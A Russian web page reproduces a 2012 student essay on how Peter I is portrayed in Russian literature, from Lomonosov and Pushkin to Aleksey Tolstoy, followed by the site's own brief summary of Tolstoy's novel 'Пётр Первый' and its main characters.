• Главная
  •  > 
  • Коляски
  •  > 
  • История создания романа петр 1 толстого. История написания романа "петр первый". Темы и проблемы

История создания романа петр 1 толстого. История написания романа "петр первый". Темы и проблемы

Санкт-Петербургская Государственная Консерватория им. Римского-Корсакова

РЕФЕРАТ ПО ИСТОРИИ НА ТЕМУ:

ОБРАЗ ПЕТРА В РУССКОЙ ЛИТЕРАТУРЕ.

Работу выполнила студентка

4 курса ДХО

Бокова Елизавета.

Руководитель: доцент кафедры

общественных и гуманитарных наук

Е.А.Пономарёва.

Санкт-Петербург, 2012 г

Образ Петра I в русской литературе.

1.Введение………………………………………………………………………………………………3

2.От Ломоносова до А.С.Пушкина…………………………………………………………4

3. Роман «Пётр I » А.Толстого…………………………………………………………………10

4.Произведения других писателей и историков России о личности Петра Великого и его времени………………………………………………………………………………………………….12

5.Заключение………………………………………………………………………………………….14

6.Список использованной литературы………………………………………………….15

Введение.

«И впредь надлежит трудиться и всё заранее изготовлять,понеже пропущение времени смерти невозвратной подобно»

Пётр I.

Личность Петра I постоянно приковывала к себе внимание как и его современников,так и потомства.

Петра и прославляли и поносили, о нём складывали песни и его проклинали, его любили и боялись (часто- в одно и то же время), ему курили фимиам и призывали громы небесные на его гордо поднятую голову.

К Петру нельзя было оставаться безразличным, нельзя было «никак» относиться к нему. И такое отношение вплоть до нашего времени объясняется не только величием его фигуры и сотворённых им дел, но и яркостью его личности, многогранной,сложной, порывистой и цельной, ярким его умом, горением его широкой русской души. Даже внешний облик Петра,отличный от всех своими всем нам известными, особенными, несовместимыми,казалось бы, чертами, не мог не захватывать внимание окружающих его людей.

Конечно же, не могли оставить Петра без внимания и великие русские писатели и поэты. За всё прошедшее с правления Петра время написано много произведений в разных жанрах, в которых главной фигурой является этот великий царь из рода Романовых.

Авторы по-разному трактовали личность царя: кто-то обращал большее внимание на черты тирана, который реформами обратил Россию на «чужой», европейский курс развития, но большинство мастеров пера восхищались его величием и его преобразовательской деятельностью, которая буквально «пробудила» Россию и понимали, насколько важна была эта фигура в развитии и становлении нашей страны. Во многом, Пётр и всё, что было с ним связано,стало красной нитью, сквозной темой литературы XVIII- XIX века.

« Различие взглядов происходило во-первых, от громадности дела, совершённого Петром, и продолжительности влияния этого дела:- чем значительнее какое-нибудь явление, тем более разноречивых взглядов и мнений порождает оно, и тем долее толкуют о нём: во-вторых, от того, что русская жизнь не остановилась после Петра, и при каждой новой обстановке её мыслящий человек русский должен был обращаться к деятельности Петра,результаты которой оставались присущими при дальнейшем движении, и обсуждать её, применять к новым условиям, новой обстановке жизни: в-третьих, разность взглядов на деятельность Петра зависела от незрелости у нас исторической науки.»

В данном реферате мы коснёмся самых значительных произведений, которые показывали и показывают до сих пор читателям масштаб личности Петра Великого.

От Ломоносова до Пушкина.

«К тебе я вопию, премудрость бесконечна,

Пролей свой луч ко мне, где искренность сердечна

И полон ревности спешит в восторге дух

Петра Великого гласит вселенной вслух

И показать, как он превыше человека

Понёс труды для нас неслыханны от века…»

(ода «Пётр Первый», Ломоносов)

Ломоносов почитал Петра - великого собирателя земель, неутомимого работника и ученого мужа, любимого народом.

Идеалом времени Ломоносова и Державина (конец XVIII века) была просвещённая монархия и в принципе, образованность и стремление к знаниям, и логично, что идеальным героем их времени являлся Пётр I.

У Державина самыми яркими примерами «петризма» являются оды «Вельможа» и «Монумент Петра Великого»:

«Оставя скипетр, трон,чертог,

Был странником, в пыли и в поте,

Великий Пётр, как некий бог,

Блистал величеством в работе:

Почтен и в рубище герой!

Екатерина в низкой доле

И не на царском бы престоле

Была великою женой»

(ода «Вельможа»)

« Хотя смерть косу поднимает Равно и на владык земных; Но вечно память пребывает В сердцах людских царей благих. ‎Твоя пребудет добродетель, ‎Его в преемниках ты нам! ‎Нерон, Калигула, Коммоды, Когда на тронах где сидят, Хоть поздные их помнят роды, Но помнят так, как мор и глад. ‎Твоя пребудет добродетель, ‎О, Петр! любезна всем векам; ‎Храни, храни всегда, Содетель, ‎Его в преемниках ты нам!»

(Ода « Монумент Петра Великого»)

Насколько Пётр I был великим реформатором, могущественным государственным деятелем, с размахом двинувшим Россию вперёд, настолько Пушкин был Петром Великим русской литературы. Тема Петра – “сквозная” тема в русской литературе вообще, в творчестве Пушкина в частности.

Интерес к историческим темам, в том числе и к эпохе Петра, возник у Пушкина в 1820-х годах и особенно - после 14 декабря 1825 года. Исторические события для Пушкина не самоценны, он всегда стремился не только показать великие победы и дела реформатора, но и раскрыть их результаты, влияние на судьбы отдельных людей. Гигантская фигура Петра, несомненно, восхищала поэта, Пушкину дорого все, совершенное Петром, -Петербург, «юный град// Полнощных стран краса и диво», - и в то же время Пушкин не мог примириться с самодурством и деспотизмом Петра, критически оценивал результаты и методы его деятельности. Эта двойственность в критериях оценки определила двойственность в образе Петра, проявившуюся в его произведениях. Для А. С. Пушкина император Петр - единственный инициатор реформ. Идеи о социально-экономической обусловленности реформации в то время возникнуть не могло, поэтому образ Петра представлялся Пушкиным как воплощение некой высшей, демиургической, стихийной силы, орудие Провидения.

«Ничтожные наследники северного исполина, изумлённые блеском его величия, с суеверной точностью подражали ему во всём, что только не требовало нового вдохновения. … Пётр I не страшился народной свободы, неминуемого следствия просвещения, ибо доверял своему могуществу и презирал человечество, может быть, более, чем Наполеон». (Заметки по русской истории 18 века)

Работая над петровской темой, Пушкин использовал различные жанры.

В первых своих произведениях, посвящённых Петру: стихотворении «Стансы» (1826г) и «Полтаве»(1828г) поэт создает явно идеализированный образ Петра:

«То академик, то герой

То мореплаватель, то плотник

Он всеобъемлющей душой

На троне вечный был работник» («Стансы»)

Но оценка эпохи не столь однозначна:

«начало славных дел Петра

Мрачили мятежи и казни»

(«Стансы»).

В прославляющей Петра «Полтаве» время реформ, «Когда Россия молодая... «…»Мужала с гением Петра» названо «смутной порой».

Оценка эпохи и воли самодержца образно обобщена в словах:

«Так тяжкий млат,

Дробя стекло, кует булат»

- здесь ясно раскрыта идея необходимого насилия, трагичного для«стекла», но благотворного для «булата», который куется царем-демиургом.

Трагическая гибель Кочубея и Искры характеризует жестокие нравы Петра и эпохи.

В «Полтаве» Петр – «гений», «его глаза

Сияют. Лик его ужасен

Движенья быстры. Он прекрасен,

Он весь как божия гроза».

Здесь Пётр - Демиург, воплощение провиденциальных сил истории, но в его образе важна не только вдохновленность свыше - сочетание прекрасного и ужасного приводит к мысли и о стихийной необузданности его характера, которая несет зло: причиной измены Мазепы становится оскорбление, нанесенное ему Петром в приступе не вполне оправданного гнева.

Двойственный подход А. С. Пушкина к оценке истории, осознание непримиримого противоречия между исторической необходимостью государственного строительства и судьбами народа, личными судьбами было положено им в основу идейного содержания поэмы «Медный Всадник».

Основание Петербурга, по Пушкину, : мотивировано необходимостью государственной:

«отсель грозить мы будем шведу

Сюда, по новым им волнам

Все флаги в гости будут к нам»

Прорубить «окно в Европу» нам «природой суждено».

Но судьба Евгения, историческая безжалостность преобразовательской деятельности Петра I становится в «Медном Всаднике» страшным упреком всему делу преобразователя.

Образ Петра в «Медном Всаднике» раскрывается в единстве непримиримых противоположностей: он и«строитель чудотворный», и«кумир на бронзовом коне», «горделивый истукан», тот

«чьей волей роковой

Над морем город основался...

Ужасен он в окрестной мгле!

Какая дума на челе!

Какая сила в нем сокрыта!

... На высоте, уздой железной

Россию вздернул на дыбы?»

Он - воплощение стихийных сил и государственного величия, Истории и Рока, враждебных человеку.

Мистическое представление о сверхчеловеческой природе Петра характерно лишь для поэзии А. С. Пушкина. В прозаических произведениях

образ реформатора более приземлен.

В незаконченном романе Пушкина «Арап Петра Великого» Петр –

«герой полтавский, могучий и грозный преобразователь России», но в описании нравов эпохи, характера Петра и методов реформации прослеживаются и иронические ноты.

Показаны также самодурство и деспотизм Петра: он приказывает Ржевскому отдать дочь за своего любимца, с дубинкой в руках едет «к плуту Данилычу... переведаться за его новые проказы».

Как изображает Пушкин, Пётр любил те русские нравы и обычаи, которые не казались ему проявлением патриархальной дикости. Беседуя с Ибрагимом, Пётр обнаруживает такое добродушие и весёлость, «что никто пишет Пушкин в ласковом и гостеприимном хозяине не мог бы подозревать героя полтавского, могучего и грозного преобразователя России ».

Пётр берёт на себя роль свата своего крестника, любит национальные кушанья, не прочь «по русскому обыкновению отдохнуть». Он искренне заботится об Ибрагиме: «Послушай…, ты человек одинокий, без роду и племени, чужой для всех, кроме одного меня. Умри я сегодня, что завтра с тобою будет, бедный мой араб? Надобно тебе пристроится, пока есть ещё время; найти опору в новых связях, вступить в союз с новым боярством».

Склонность Петра к широкому и большому веселью, добродушное лукавство, гостеприимство – всё это дополняет образ Петра, воплощающего в себе, по мысли Пушкина, черты национального характера. Пушкин даёт глубокое освещение демократичности Петра. Пётр судит о людях и выбирает себе помощников не по сословному признаку, а по умственным способностям, знаниям. Отнюдь не снижая выдающихся личных качеств Петра, Пушкин помогает читателю понять и почувствовать историческую закономерность петровских преобразований и их необходимость.

Роман остался незаконченным, но, несмотря на это, современники Пушкина высоко оценили «Арапа Петра Великого». В.Г.Белинский писал: «Будь этот роман кончен так же хорошо, как начат, мы имели бы превосходный исторический русский роман» .

Благородство Петра Пушкин подчёркивает и в «Моей родословной», указывая милость царя к арапу – своему прадеду.

Это стихотворение было своеобразным ответом на пасквиль Булгарина, в котором было затронуто достоинство предков Пушкина. Возмущённый поэт писал тогда в незаконченной статье «Опровержения на критики»: «В одной газете сказано было, что прадед мой…, крестник и воспитанник Петра Великого, «…» - был куплен шкипером за бутылку рому. Прадед мой, если был куплен, то вероятно дёшево, но достался он шкиперу, коего имя всякий русский произносит с уважением и не всуе».

Пушкин ответил Булгарину стихами, «притом очень круто», как сам выражался в «Post scriptum’e» к «Моей родословной»: Сей шкипер был тот шкипер славный, Кем наша двинулаль земля, Кто придал мощно бег державный Рулю родного корабля. Но в первой части указано на жестокость Петра: Упрямства дух нам всем подгадил: В родню свою неукротим, С Петром мой пращур не поладил И был за то повешен им. В этом стихотворении мы видим двойственность характера Петра: «шкипер славный», «упрямства дух нам всем подгадил», «был …повешен им».

В историческом труде писателя о петровском времени - «Истории Петра» Пушкин не ограничился сбором и систематизацией материала, весь текст «истории» пронизан авторскими отступлениями и примечаниями -одобрительными, критическими, ироническими, - показывающими отношение Пушкина к Петру и его деятельности: «Петр хвастал своею жестокостью...», «сам он был странный монарх», «1 июля Петр занемог (с похмелья?)», «... указ весьма благоразумный, с малой примесью самовластья...» и другие.

Итоговая концепция Петра, сформулированная в «Истории», следующая:

«достойна удивления разность между государственными учреждениями Петра Великого и временными его указами. Первые суть плод ума обширного, исполненного доброжелательства и мудрости; вторые жестоки, своенравны и, кажется, писаны кнутом. Первые были для вечности, или, по крайней мере, для будущего; вторые вырвались у нетерпеливого, самовластного помещика. Прим.: Это внести в историю Петра, обдумав».

И. Фейнберг полагает, что здесь Пушкин раскрывает двойственность и противоречивость деятельности Петра, эта «разность» понимается им как противоречие между целями и средствами реформации. Но это высказывание можно истолковать и как обобщение противоречивости характера самого Петра: «ума обширного, полного доброжелательства и мудрости» и, в то же время, «нетерпеливого самовластного помещика».

Пушкину также удалось в своих произведениях выработать и понимание петровской эпохи: анализ его произведений позволяет предположить, что Пушкин вплотную подошел к мысли о закономерности петровских реформ, их обусловленности социально-экономическими, государственно-политическими причинами, которая во многом опережала историческую мысль того времени. Значение творчества А. С. Пушкина в развитии петровской темы невозможно переоценить. Он обобщил, переосмыслил и воплотил в художественных образах весь опыт общественно-исторической мысли XVIII и начала XIX веков, и его концепция личности Петра стала основой для дальнейшего развития этой темы в литературе, неиссякаемым источником образов и мотивов для всех последующих авторов.

Роман «Пётр I » Алексея Толстого.

В романе "Петр I" А. Н. Толстой с историчес­кой правдивостью изобразил время, события, людей, их быт и нравы. "Чтобы понять тайну рус­ского народа, его величие, - писал автор, - нужно хорошо и глубоко узнать его прошлое: нашу историю, коренные узлы ее, трагические и творческие эпохи, в которых завязывался русский характер".

А. Н. Толстой широко осветил важнейшие со­бытия Петровской эпохи, показал роль в них самых различных слоев населения и огромное ис­торическое значение фигуры Петра I.

На страницах романа царевич Петр появляется в сцене стрелецкого мятежа, когда его мать, Ната­лья Кирилловна, выносит мальчика на крыльцо: "Круглолицый и тупоносенький, он вытянул шею. Глаза круглые, как у мыши..." Он увидел кровавую расправу, непомерную жестокость стрельцов, подстрекаемых Хованским и Василием Голицыным. Эти события оставили неизгладимый след в душе царевича, вызвали нервное потрясе­ние.

Петр рос очень подвижным, возбудимым, впе­чатлительным; его невозможно было удержать в тепличной атмосфере дворца, где зачахли два его брата.

Шла борьба за власть, а Петр своим несерьез­ным поведением, неуместными для царя играми, царапинами, синяками и цыпками на руках шо­кировал бояр.

Петра тянуло в немецкую слободу; ему очень интересна жизнь на Кукуе, где он всему удивля­ется: "А это зачем? А это для чего? А это как уст­роено?" Таким он останется на всю жизнь, благо­даря своему живому любопытству он будет постоянно учиться, все пропускать через себя, не бояться никакой работы, никаких трудностей. До всего он должен дойти сам; чтобы проводить ре­формы, ему необходимы независимость ума, от­сутствие авторитетов.

А. Н. Толстой показывает необычайную вы­носливость Петра, который сутки мог обходиться без сна, без еды, заставляя всех в потешном войс­ке безоговорочно принимать его правила игры, перешедшей в итоге в серьезное изучение военной науки. Товарищами по этим играм становятся мальчишки из простонародья, смышленые, пре­данные и смелые - ядро будущей гвардии.

В одной из палат Преображенского дворца была организована корабельная мастерская, где под руководством немцев строили макеты галер и кораблей, учились арифметике и геометрии. Борис Голицын посоветовал Петру строить верфь на Переяславском озере и прислал ему воз нужной литературы, а Наталье Кирилловне сказал: "Доброго ты сына родила, умнее всех окажется, дай срок. Глаз у него неспящий..."

Петра, который любил немку Анну Монс (впо­следствии за предательство вычеркнутую им из сердца), женили на А. Лопухиной, молодой, глу­пой и примитивной девице, желающей, чтобы муж сидел около ее юбки. Но Петр с утра до вечера был в трудах и заботах - строились потешные ко­рабли на Переяславском озере.

Узнав от дяди Льва Кирилловича о заговоре Софьи, о том, что царская власть висит на волос­ке, Петр вспоминает ужасы детских лет, казнь сторонников Нарышкиных, и у него случается припадок. Он скачет в Троицу; Софья, узнав об этом, говорит: "Вольно же ему, взбесяся, бегать". Рассчитывая на войска, она ошиблась: стрельцы шли к Петру, невзирая на угрозы Софьи. "Как сон из памяти - уходила власть, уходила жизнь" от Софьи.

Ситуация в стране заставляла Петра быть жес­токим и беспощадным (часто сверх меры); страш­ное воровство, запустение, отсталость вызывали у него жуткий гнев.

Очень возмужал Петр после поражения под Азовом; неудача закалила его, он стал упрямым, злым, деловитым. Он нацеливается на новый поход; для этого укрепляет боевую мощь: строит флот в Воронеже. И через два года победа не за­ставила себя ждать.

Жестокой и непримиримой была борьба Петра с боярами; он сломал уклад старой боярской думы, теперь в ней сидели адмиралы, инженеры, генералы, иностранцы - все они были едино­мышленниками молодого царя.

Подробно описывает А. Н. Толстой глубокие изменения в сознании Петра после поездки за гра­ницу. Много там было необычайного и дивного для русского глаза. Вспоминалась Петру сонная, нищая и неповоротливая Россия, не знает он пока, "какими силами растолкать людей, продрать им глаза... Черт привел родиться царем в такой стра­не!". Все эти мысли вызывают в нем бешеную злобу на своих и зависть к иностранцам. Первый порыв - перевешать, перепороть. "Но кого, кого? Враг невидим, неохватим, враг - повсюду, враг - в нем самом..."

В Голландии Петр работает на верфи матросом, не боится любого труда, учится кораблестроению. Активно формируется личность Петра, раскрыва­ется его деятельный, государственный ум, все под­чинено в нем главной цели: повернуть свою страну на путь, ведущий из прозябания и изолированнос­ти к прогрессу, к введению русского государства в круг передовых государств в качестве великой державы. Он нацеливается на войну с сильным противником - Швецией, чтобы иметь выход к Балтийскому морю. Понимая, что для этого нужно быть хорошо оснащенным и вооруженным, он решает строить на Урале заводы.

Поражение под Нарвой не сломило Петра, а за­ставило действовать: "...воевать еще не научи­лись... чтоб здесь пушка выстрелила, ее надо в Москве зарядить". Он начинает тщательную под­готовку и через три года, выступив с новой ар­мией, с новыми пушками против шведов, побеж­дает, твердо встав на берегу Балтийского моря.

Выступая как писатель-реалист, А. Н. Толстой правдиво описывает закладку новой столицы Рос­сии - города Петербурга. Крестьяне работают в жутких условиях: на болотах, полуголодные, обо­дранные, больные; город воздвигается на костях человеческих.

А. Н. Толстой взирает на Петра не только как на крупную историческую личность, которой под­властны тысячи людей, но и передает способность царя хранить дружбу и уважение к Лефорту, при­слушиваться к его советам. Смерть Лефорта была для Петра огромной потерей: "Другого такого друга не будет... Радость - вместе и заботы - вместе".

Широко показывает А. Н. Толстой обилие на­родных талантов, которые Петр подмечал и посы­лал учиться им за границу, так как понимал, что без молодых ученых невозможно совершить преобра­зования в стране. Петр ценил людей не за звания и титулы, а за талантливость, умения, сноровку и трудолюбие, поэтому в его окружении было много выходцев из народа: это и Алексашка Меньшиков, и семья Бровкина, и Федор Скляев, и Кузьма Жемов, и братья Воробьевы, и многие другие.

Были понимающие и поддерживающие царя дво­ряне и бояре: князь-кесарь Ромодановский, искус­ный полководец Шереметьев, дипломат Петр Тол­стой, адмирал Головин, дьяк Винус.

Чем грандиознее замыслы Петра, тем жестче становится его характер, он неумолим к тем, кто мешает продвижению вперед, тормозит осущест­вление его идей.

Очень важную роль в реформах царя сыграло купечество: "Связал нас бог одной веревочкой, Петр Алексеевич, - куда ты, туда и мы", - го­ворит Петру от имени купцов Иван Бровкин.

Но при всей масштабности преобразования Пет­ра I не только не улучшили участь народа, а на­оборот, привели к усилению эксплуатации, увели­чению поборов с нищих крестьян. Их гоняли за тысячи верст строить корабли и города, разлучая с семьями, добывать железо, засекали до смерти в солдатах. Все это тоже освещено в романе, в основу написания которого как раз таки легли пыточные записи конца XVII века, собранные профессором Н.Я.Новомбергским и переданные писателю историком Колмашом В.В. в 1916г.

А. Н. Толстой создал монументальный образ Петра I, но это не идеальная фигура "венценос­ца". Он изобразил сложнейшее переплетение в нем грубого и ласкового, доброго и злого, гуман­ного и жестокого. Это был образ в развитии. Но, безусловно, Петр I был че­ловек гениальный по своему потенциалу и мас­штабу произведенных преобразований в России – так, очевидно, считал автор романа.

Взгляды писателей XX века и историков России

на личность Петра Великого.

В литературе XX века тема Петра не потеряла своей актуальности. Она представлена романом Д. Мережковского (Антихрист: Петр и Алексей), циклом рассказов, двумя пьесами и вышеупомянутым романом А. Н. Толстого (Петр Первый), повестями Ю. Тынянова (Восковая Персона) и Б.Пильняка (Никола на Посадях, Повесть Петербургская), рассказом А. Платонова (Епифанские шлюзы).

Во второй половине XX века были созданы романы Ю. Германа (Россия молодая,1952г), А. Соколова (Меншиков), Б. Заболотских (Капитан четырех морей); повести Вс. Иванова (Ночь царя Петра), Ю. Семенова (Смерть Петра) и др.

О Петре писали беллетристы XIX века В. Аладьин, О. Корнилович, Н. Кукольник, К. Масальский, П. Фурман,Г. Данилевский, Д. Мордовцев, Л. Жданов и другие.

Значительным произведением о Петре I стал опубликованный в 2000 году роман Д. Гранина « Вечера с Петром Великим».

Литература о Петре примечательна не только количеством созданных произведений, но и бесконечным многообразием, противоречивостью оценок Петра от « строителя чудотворного» до «царя-Антихриста». Художественные трактовки образа Петра, воплощенные в литературных произведениях, становятся отражением, неотъемлемой частью общекультурного процесса развития исторического самосознания общества, которое складывается в виде различных научных, философских, религиозных и художественных интерпретаций истории, последовательно сменяющих друг друга.

Что же касается исторической оценки личности царя, то особую роль вопрос о Петре играет в исторической концепции Н. М. Карамзина. Основной идеей его «Истории» стала мысль о цивилизаторской роли самодержавия в истории России. Вначале Н. Карамзин исходил из представления об общности исторического пути России и Европы, поэтому в «Письмах русского путешественника» он писал о благодетельности и неизбежности петровских реформ, а реформы Петра оценивал как положительный пример созидательной государственной деятельности. Французская революция и кризис философии энциклопедистов заставили его изменить точку зрения. В адресованной Александру I «Записке о древней и новой России» историк пытался предостеречь верховную власть от ошибок, могущих привести к революции. Попытка Петра ускорить ход истории сделала, по мнению Карамзина, возможной повторение революции и в России. Так Карамзин, не отрицая высоких личных качеств Петра, необходимости и благодетельности его реформ в целом, начинает критиковать деспотизм Петра, революционные методы осуществления реформ и его чрезмерную страсть к подражанию, губительные для национального самосознания.

Как мы уже знаем, еще в 1917 году Толстой пытался найти разгадку настоящего в прошлом. Тогда эта попытка окончилась неудачей: идеалистическое мировоззрение писателя привело его к ошибочным выводам. Рассказ «День Петра» глубоко пессимистичен. И дело не в том, что Петр в глазах автора - полубезумный деспот, а в глазах народа - антихрист, что вслед за символистом Мережковским. Толстой иной раз наделял великого государственного деятеля чертами дегенеративности. Источник пессимизма в том, что Петр, по убеждению автора, «одной своей страшной волей укреплял государство, перестраивал землю», что опоры у него нет. Помощники царя - пропойцы, воры и жулики, народ его не понимает и проклинает, да и сам Петр руководствуется не государственными соображениями, а низменным чувством мелкого хозяйчика, завидующего соседу-кулаку.

«Что была Россия ему, царю, хозяину, загоревшемуся досадой и ревностью: как это - двор его и скот, батраки и все хозяйство хуже, глупее соседского? С перекошенным от гнева и нетерпения лицом прискакал хозяин из Голландии в Москву… Налетел с досадой,- ишь, угодье какое досталось в удел, не то, что у курфюрста бранденбургского, у голландского штатгальтера. Сейчас же, в этот же день, все перевернуть, перекроить, обстричь бороды, надеть всем голландский кафтан, поумнеть, думать начать по-иному». И хоть треснула сверху донизу вся иепробудность - окно все же было прорублено, и свежий ветер Еорвался в ветхие терема,- случилось не то, чего хотел Петр: «Россия не вошла, нарядная и сильная, на пир великих держав. А подтянутая им за волосы, окровавленная и обезумевшая от ужаса и отчаяния, предстала новым родственникам в жалком и неравном виде - рабою». При такой трактовке личности Петра и Петровской эпохи вполне закономерна глубоко пессимистическая концовка рассказа: «И бремя этого дня и всех дней, прошедших и будущих, свинцовой тягой легло на плечи ему, взявшему непосильную человеку тяжесть: одного за всех».

Осенью 1928 года Толстой вернулся к образу Петра в пьесе «На дыбе» («Петр Первый»). За двенадцать лет, отделявших трагедию от рассказа, воззрения писателя на Петровскую эпоху изменились. Не прихоть хозяина-самодура, а историческая необходимость заставляет царя проводить государственные реформы. Но по-прежнему глубоко трагична романтическая фигура Петра, одинокого в своей титанической деятельности и, непонятого даже близкими, обрекающего ради государства на жертву всех и все: народ, друзей, сына, жену, себя. Ни автору, ни его герою неясно главное: «Для кого сие?» А потому символически звучит последняя фраза Петра, видящего, как гибнет дело его жизни: «Страшен конец».

Пьеса была написана Толстым «с налету», в два с небольшим месяца (окончена 12 декабря 1928 г.), без детального изучения исторических материалов, без глубокого проникновения в сущность эпохи. В ней остались еще явственные следы влияния реакционных писаний Мережковского. Все это привело к тому, что пьеса вышла символически-романтической, да еще обильно сдобренной натуралистическими деталями. Сам Толстой о ней впоследствии отзывался пренебрежительно, справедливо указывая, что в трагедии «На дыбе» «не было настоящего изучения материала», а потому оказалось «много романтики» и Петр «попахивал Мережковским».

Завершив пьесу, Толстой собирался написать повесть о Петре и после серьезной подготовки взялся за нее в феврале 1929 года. «Повесть начинает развертываться так, как я того хотел»,-сообщал он В. П. Полонскому 22 февраля. Через месяц Толстой ему же пишет: «Мне кажется, Вы будете довольны Петром, лучшего я не писал. Но это так трудно, что иногда приходишь в отчаяние». Уже на второй главе писатель понял, что получается не повесть, а роман , и к тому же - многотомный. 2 мая 1929 года он признался: «Начав работать над Петром, я думал все уложить в одной книге, теперь вижу свое легкомыслие». Правда, писатель полагал еще, что в третьей (по тогдашнему плану - последней) главе первой книги будет изображена «Голландия, казнь стрельцов, история с Монс, начало Северной войны и основание Петербурга». Окончить эту часть Толстой обещал в июле 1929 года. Однако работа опрокинула эти расчеты. Первая книга «Петра» была закончена лишь 12 мая 1930 года, и последняя, седьмая глава завершается казнью стрельцов. Остальные пункты плана составили содержание второй книги, которую Толстой писал с декабря 1932 года по 22 апреля 1934 года. Над третьей книгой эпопеи писатель начал работать 31 декабря 1943 года и успел довести ее до шестой главы.

В разные годы Толстой по-разному намеревался закончить роман-эпопею. Одно время он хотел показать в последней книге смерть Петра, кратковременное торжество феодальной реакции и завершить изображением другого великого сына русского народа - М. В. Ломоносова, дав тем самым оптимистическую перспективу русской истории после Петра. Уже работая над третьей книгой, Толстой в письме В. Б. Шкловскому от 21 ноября 1944 года сообщал: «Роман хочу довести только до Полтавы, может быть до Прутского похода, еще не знаю. Не хочется, чтобы люди в нем состарились, - что мне с ними со старыми делать?» Смерть помешала писателю довести монументальный труд до конца. Но несмотря на это, эпопея о Петре - одно из самых цельных, завершенных произведений самого Толстого и вершинное достижение мирового исторического романа.

Научный историзм помогли Толстому уловить основные закономерности Петровской эпохи. А найденные закономерности в свою очередь освещали новым светом уже знакомый конкретный исторический материал, позволяли не только представить в воображении прочитанное, но и дополнить собственной фантазией. И действительные исторические личности, и созданные воображением писателя фигуры начинали двигаться, разговаривать, думать - жить полнокровной жизнью.

Как большому художнику Толстому было свойственно умение «галлюцинировать», то есть живо представлять в своем воображении изображаемое. Сам Толстой считал, что это качество можно и нужно развивать в себе, поскольку оно является непременным условием литературного мастерства вообще. «Это закон для писателя, - утверждал он, - создавать произведения путем внутреннего видения тех предметностей, которые они описывают.

Стало быть, нужно в себе выработать эту способность видения. Нужно над собой работать в этом отношении.

Поведение любого, даже мимоходом, в одной сцене очерченного персонажа обусловлено у Толстого психологически, а психология человека, в свою очередь, определяется и ходом истории, и положением данного лица в окружающем мире, и конкретными обстоятельствами, в которых он живет и действует. При этом писатель, создавая образ , учитывает мельчайшие детали, выдвигая иногда на первый план такие, какие современному читателю могут показаться второстепенными, малозначащими. Вот, например, очень короткая, всего в одну страницу сцена, в которой Петр в присутствии дьяка Андрея Андреевича Виниуса принимает купца Жигулина. Богатый и умный купец, очевидно, достаточно наслышан о Петре, потому он не бухается в ноги царю и не молит, стуча лбом об пол, как полагалось бы раньше, а лишь кланяется. Для него, русского человека из низов, выросшего в сознании, что царь - это земной бог, повеление Петра сесть в его присутствии звучит дико. Однако ведь и Петр - не такой царь, как были: какой бы «царь всея Руси» снизошел до разговора с безродным, неименитым купцом, принимал его самолично, да еще без бояр, без византийской пышности, при одном дьяке, в захудалом домишке на берегу Двины, не в роскошном одеянии, - в холщевой, запачканной смолой рубахе, с закатанными по локоть рукавами? Но Жигулин- «купчина», он привык ко всякому в торговле - притворяться равнодушным, лицемерить, скрывать свои чувства: первая заповедь купца «не обманешь - не продашь».

Люди должны знать историю своей страны, чтобы в будущем знать, как поступать в том или ином случае. Алексей Толстой, вдохновившись эпохой Петра 1, решил показать нам все тонкости и трудности петровской эпохи. Как известно, он вложил в работу почти 10 лет своей жизни и потратил множество часов, чтобы изучить в точности эпоху преобразований и изменений в нашей стране.

Алексея Николаевича Толстого очень интересовала судьба императора Петра 1, более двадцати лет писатель изучал биографию и исторические факты из жизни правителя. Этот случай можно назвать одним из тех, когда творчество автора, в попытках передать характер эпохи и личности, граничит с научной исторической литературой.

Изначально произведение задумывалось как роман-эпопея, который бы позволил при своем объеме показать все позиции и смену мыслей человека советского. Писателю это в полной мере удалось, ведь через образ Петра проглядывает личность покровителя и почитателя Толстого – И. В. Сталина. В своем романе Толстой хотел показать ценность преобразований того времени, он описывает, как мудрость правителя определяет дальнейшее развитие государства. Но читателю совсем нетрудно уловить связь между тем временем и новой советской эпохой, где народу также нелегко измениться к лучшему, где люди не хотят принимать необходимость перемен. В такой ситуации стране нужен жестокий, но сильный и дальновидный руководитель, которого автор видел и в Петре Первом, и в генеральном секретаре партии КПСС.

Жанр, направление

“Петр Первый” — исторический роман, включает в себя элементы романа становления и героического повествования. Также можно найти черты биографического романа.

Суть

В первой книге перед нами предстает Петр-преобразователь. Личность, еще до конца сформировавшаяся, но стремившаяся к становлению на истинный и правильный путь. Автор показывает нам царя как человека, близкого к своему народу, способного понять все проблемы и постараться найти их решение.

  1. Первый том показывает нам еще совсем маленького Петра, напуганного грядущими трудностями правления. С этого момента начинается наше знакомство со становлением будущего царя, способного изменить судьбу своей страны. Мы можем наблюдать как маленький правитель учится справляться с дворцовыми интригами, предательствами, переживает первые неудачи, учится исправлять свои ошибки и решать сложные, даже, казалось бы, неразрешимые проблемы.
  2. Во втором томе мы видим Петра уже подросшего, способного наравне с простым народом трудиться на благо процветания страны. Прошло уже много времени, молодой правитель готовится к первым преобразованиям и подписаниям законов. Петр заботится о воем народе, стараясь не допускать произвола со стороны бояр. Так, страница за страницей, у нас на глазах происходит становление царя, из маленького напуганного мальчишки в зрелого мудрого правителя.
  3. В третьем томе перед нами предстает уже состоявшийся как личность человек, царь, мужчина. Вот уже стоит на берегу Невы Петербург, прекращены многолетние войны. Как и Петр, страна встает на новый путь, изменений и улучшений. Третий том является финалом и показателем положительных последствий реформ, происходит культурный подъем жизни людей, растет и военная мощь государства.

Главные герои

  • Петр Алексеевич — царь России. Писатель постарался раскрыть образ правителя многогранно и полноценно, показав как положительные, так и некоторые отрицательные качества Петра. Монарх предстает перед нами в разном свете, начиная с молодых лет, заканчивая пиком успешных реформ состоявшейся исторической личности. Герой отличается трудолюбием, целеустремленностью, дальновидностью и силой воли.
  • Александр Данилович Меншиков — соратник Петра, готовый на все ради правителя, ему Петр доверял полностью, считал своей правой рукой. Меньшиков сбежал из семьи, будучи совсем молодым, выживал как мог, перебивался с копейки на копейку. Благодаря своему уму, попал во дворец, где работал постельничим. Когда же Петр понял истинную ценность этого человека, тот стал правой рукой государя. Он отличался умом, деловитостью и способностью усваивать новые веяния.
  • Франц Лефорт — наставник Петра, его друг, помогавший раскрыть потенциал царя. Франц предстает перед нами уже зрелым мужчиной, можно сказать, что он был главным по всем делам иностранцев в России. Лефорт служил советником Петра по военным вопросам, по социальным и экономическим делам, подсказывал, как лучше поступить во время дворцовой борьбы с Софьей.

Есть и другие герои романа, которые не менее важны для сюжета, но описать каждого нет возможности, у нас же не статья-эпопея. Но если Вам кого-то не хватило, смело пишите об это в комментариях, добавим.

Темы и проблемы

